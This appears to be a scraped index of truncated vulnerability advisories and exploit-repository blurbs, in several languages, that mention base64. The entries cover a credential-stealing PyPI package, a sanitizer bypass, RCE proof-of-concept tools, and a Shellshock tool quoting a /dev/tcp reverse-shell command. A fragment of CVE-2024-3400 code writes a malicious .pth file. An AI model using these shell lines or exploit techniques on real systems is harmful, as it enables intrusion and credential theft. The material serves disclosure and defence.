Malicious code in friendly-greeting-tools (PyPI)

Versions 0.1.0 through 0.3.6 of friendly-greeting-tools disguise encoded Snowflake credential and data theft routines as a hello-world demo. In versions through 0.3.5, the default rundemo payload reads the Snowflake session token, connection configuration, dbt profiles, and pip configuration, the...

MAL-2026-17416 Malicious code in friendly-greeting-tools (PyPI)

Versions 0.1.0 through 0.3.6 of friendly-greeting-tools disguise encoded Snowflake credential and data theft routines as a hello-world demo. In versions through 0.3.5, the default rundemo payload reads the Snowflake session token, connection configuration, dbt profiles, and pip configuration, the...

CVE-2023-25581

Este script en Python demuestra la explotación de la vulnerabilidad CVE-2023-25581 en pac4j-core. La vulnerabilidad permite a un atacante ejecutar código arbitrario RCE mediante la deserialización de datos codificados en Base64 maliciosamente manipulados. Requisitos previos Antes de ejecutar el...

CVE-2024-3400

CVE-2024-3400 import os,base64,time systempth = "/usr/lib/python3.6/site-packages/system.pth" with opensystempth,'wb' as f: f.writeb'''import...

CVE-2026-102555

A heap buffer overflow exists in libsoup within the soup_uri_decode_data_uri() function. The vulnerability occurs because the function incorrectly treats base64 data-URI payloads as NUL-terminated strings when invoking g_base64_decode_inplace() . If a percent-decoded payload contains embedded NUL...

CVE-2025-55182-RCE-shell

CVE-2025-55182-RCE-shell Burp Suite/antsword - 対話型シェル HTTPハイジャック + POST + AES-256-CBC/BASE64 検出 -dnslog DNSLog 出力なし検出 Nuclei -poc 脆弱性エコー検出 エクスプロイト -exp 対話型シェル base64 echo -exp2 対話型シェル HTTPハイジャック + POST + Base64 -exp3 対話型シェル HTTPハイジャック + POST + AES-256-CBC burpsuite...

CVE-2022-21449

CVE-2022-21449 Javaの「サイキック署名」に対して脆弱なアプリケーション向けに、base64署名を生成するリポジトリです。Node.js環境で実装されています😅 実行前に、https://github.com/davwwwx/elliptic からEllipticの改造版フォークをインストールしてください。 $ npm install 署名を生成する $ node index.js 脆弱なアプリケーションの例をDataDog/security-labs-pocsから入手してください -...

CVE-2026-100370 DOMSanitizer - Incomplete data: URL Sanitization in DOMSanitizer::isDangerousUrl() Allows Base64-Encoded Payloads to Bypass href and xlink:href Validation

DOMSanitizer is a DOM/SVG/MathML Sanitizer for PHP 7.3+. Prior to version 1.0.15, the isDangerousUrl method is responsible for rejecting dangerous URL values in the href and xlink:href attributes. The weakness is that "javascript:" is rejected as a scheme, while "data:" is rejected only when the...

CVE-2026-100370 DOMSanitizer - Incomplete data: URL Sanitization in DOMSanitizer::isDangerousUrl() Allows Base64-Encoded Payloads to Bypass href and xlink:href Validation

DOMSanitizer is a DOM/SVG/MathML Sanitizer for PHP 7.3+. Prior to version 1.0.15, the isDangerousUrl method is responsible for rejecting dangerous URL values in the href and xlink:href attributes. The weakness is that "javascript:" is rejected as a scheme, while "data:" is rejected only when the...

CVE-2026-100370 DOMSanitizer - Incomplete data: URL Sanitization in DOMSanitizer::isDangerousUrl() Allows Base64-Encoded Payloads to Bypass href and xlink:href Validation

DOMSanitizer is a DOM/SVG/MathML Sanitizer for PHP 7.3+. Prior to version 1.0.15, the isDangerousUrl method is responsible for rejecting dangerous URL values in the href and xlink:href attributes. The weakness is that "javascript:" is rejected as a scheme, while "data:" is rejected only when the...

CVE-2026-100370

The DOMSanitizer library for PHP 7.3+ is vulnerable to an input-validation defect in its isDangerousUrl() method prior to version 1.0.15 . While the sanitizer correctly rejects the "javascript:" scheme, it only rejects the "data:" scheme if the literal substring "onload" is present. This allows a...

CVE-2026-67236

A flaw was found in rabbitmq-server. This vulnerability allows information disclosure due to insecure handling of authentication cookies following a login request. The application stores base64-encoded user credentials in a cookie that lacks essential security flags, such as Secure, HttpOnly, and...

CVE-2014-6271

Hellshocker 0.1.1 Shellshock脆弱性を悪用するツール 脆弱なShellshockエクスプロイトや、単に「/bin/bash & /dev/tcp/IP/port 0&1」でサーバーに侵入する方法に飽きていませんか？ そうです、サーバーにさらに複雑なものをアップロードして実行する必要がありますが、巨大なファイルをbase64エンコードすると、HTTPリクエストがウェブサーバーに受け入れられなくなります。...

CVE-2025-24813

CVE-2025-24813 CVE-2025-24813 の簡単な再現・分析と、簡単なエクスプロイトスクリプトを作成しました。 usage: CVE-2025-24813.py -h -u URL -d DATA CVE-2025-24813 optional arguments: -h, --help show this help message and exit -u URL, --url URL URL -d DATA, --data DATA base64serialdata 例 vulhub を使用して脆弱性のあるサービスを起動し、urldns チェーンでペイロードを生成しま...

CVE-2026-23744-poc

CVE-2026-23744 — mcpJam リモートコード実行 RCE エクスプロイト 本ツールは、mcpJam v1.4.2 に影響する任意のコマンド実行の脆弱性 CVE-2026-23744 に対する概念実証エクスプロイト（Python 3 製）です。このユーティリティは、送信前にコマンドを透過的に Base64 エンコードすることでペイロードの配信を自動化し、制限的な入力検証や文字フィルタリング機構を回避するのに役立ちます。ペイロードはターゲットシステム上で /bin/bash ラッパーを通じてデコードされ実行されます。 特徴 自動 Base64 ペイロードエンコーディング...

CVE-2026-11105-Stack-Buffer-Overflow-in-Custom-Base64-Decoder

CVE-2026-11105 – カスタムBase64デコーダのスタックバッファオーバーフロー プログラムコード C // base64vuln.c - Vulnerable Base64 decoder include include include int base64decodeconst char in, sizet inlen, char out, sizet outlen static const char table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; int outpo...

CVE-2026-97165

Joomla Extension - svenbluege.de - Reflected XSS and open redirect in Event Gallery extension 6.5.0 - The “return” parameter is base64-decoded and written to the “Back” link without being validated...

CVE-2026-97165 Joomla Extension - svenbluege.de - Reflected XSS and open redirect in Event Gallery extension < 6.5.0

Joomla Extension - svenbluege.de - Reflected XSS and open redirect in Event Gallery extension 6.5.0 - The “return” parameter is base64-decoded and written to the “Back” link without being validated...

EUVD-2026-87928

Joomla Extension - svenbluege.de - Reflected XSS and open redirect in Event Gallery extension 6.5.0 - The “return” parameter is base64-decoded and written to the “Back” link without being validated...

CVE-2026-97165

The Joomla Extension - svenbluege.de - Event Gallery extension versions prior to 6.5.0 is vulnerable to Reflected XSS and open redirect . The root cause is that the "return" parameter is base64-decoded and written directly to the "Back" link without sufficient validation. This could allow an atta...